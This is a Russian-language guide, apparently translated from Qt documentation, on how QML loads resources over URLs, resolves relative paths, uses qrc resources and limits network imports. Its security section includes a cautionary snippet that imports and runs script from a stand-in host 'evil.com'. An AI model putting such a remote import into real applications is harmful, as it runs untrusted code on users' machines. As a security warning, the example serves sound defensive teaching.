Загрузка ресурсов и сетевая прозрачность

QML поддерживает сетевую прозрачность, используя URL (а не имена файлов) для всех ссылок из документа QML на другой контент. Это означает, что QML может обрабатывать удаленные ресурсы так же, как и локальные, в любом месте, где ожидается URL-источник, например, в следующем источнике изображения:

Image {
    source: "http://www.example.com/images/logo.png"
}

Поскольку относительный URL эквивалентен относительному файлу, разработка QML в обычных файловых системах остается простой:

Image {
    source: "images/logo.png"
}

Сетевая прозрачность поддерживается во всем QML, например:

• Шрифты — свойство source FontLoader является URL
• WebViews — свойство url WebView (очевидно!)

Даже сами типы QML могут находиться в сети — если используется Прототипирование с qmlscene для загрузки http://example.com/mystuff/Hello.qml и этот контент ссылается на тип «World», движок загрузит http://example.com/mystuff/qmldir и разрешит тип так же, как и для локального файла. Например, если файл qmldir содержит строку «World World.qml», он загрузит http://example.com/mystuff/World.qml Любые другие ресурсы, на которые Hello.qml ссылался, обычно с помощью относительного URL, аналогичным образом будут загружены из сети.

Относительные и абсолютные URL-адреса

Всякий раз, когда у объекта есть свойство типа URL (QUrl), присваивание строки этому свойству фактически присвоит абсолютный URL — разрешая строку по отношению к URL документа, где используется строка.

Например, рассмотрим этот контент в http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

Свойство источника Image будет присвоено http://example.com/mystuff/images/logo.png, но во время разработки QML, скажем, в C:\User\Fred\Documents\MyStuff\test.qml, оно будет присвоено C:\User\Fred\Documents\MyStuff\images\logo.png.

Если строка, присвоенная URL, уже является абсолютным URL, то «разрешение» его не изменяет, и URL присваивается напрямую.

Ресурсы QRC

Одна из схем URL, встроенных в Qt, — это схема «qrc». Это позволяет компилировать контент в исполняемый файл с помощью Системы ресурсов Qt. Используя это, исполняемый файл может ссылаться на QML-контент, который скомпилирован в исполняемый файл:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Затем сам контент может использовать относительные URL-адреса и, таким образом, прозрачно не знать, что контент скомпилирован в исполняемый файл.

Ограничения

Заявление import сетево-прозрачно только если у него есть фраза «as».

Более конкретно:

• import "dir" работает только в локальных файловых системах
• import libraryUri работает только в локальных файловых системах
• import "dir" as D работает сетево-прозрачно
• import libraryUrl as U работает сетево-прозрачно

Последствия для безопасности приложений

Модель безопасности QML заключается в том, что QML-контент представляет собой цепочку доверенного контента: пользователь устанавливает QML-контент, которому он доверяет, так же, как устанавливает собственные приложения Qt или программы, написанные с использованием сред выполнения, таких как Python и Perl. Это доверие устанавливается с помощью ряда механизмов, включая возможность подписания пакетов на некоторых платформах.

Для сохранения доверия пользователей разработчики QML-приложений не должны загружать и выполнять произвольный JavaScript или QML-ресурсы. Например, рассмотрим следующий QML-код:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Это эквивалентно загрузке и выполнению «http://evil.com/evil.exe». Движок QML не будет препятствовать загрузке определенных ресурсов. В отличие от JavaScript-кода, выполняемого в веб-браузере, QML-приложение может загружать удаленные или локальные ресурсы файловой системы так же, как и любое другое собственное приложение, поэтому разработчики приложений должны быть осторожны при загрузке и выполнении любого контента.

Как и любое приложение, получающее доступ к другому контенту, находящемуся за пределами его контроля, QML-приложение должно выполнять соответствующие проверки на любом недоверенном данных, которое оно загружает. Не используйте, например, import, Loader или XMLHttpRequest для загрузки любого недоверенного кода или контента.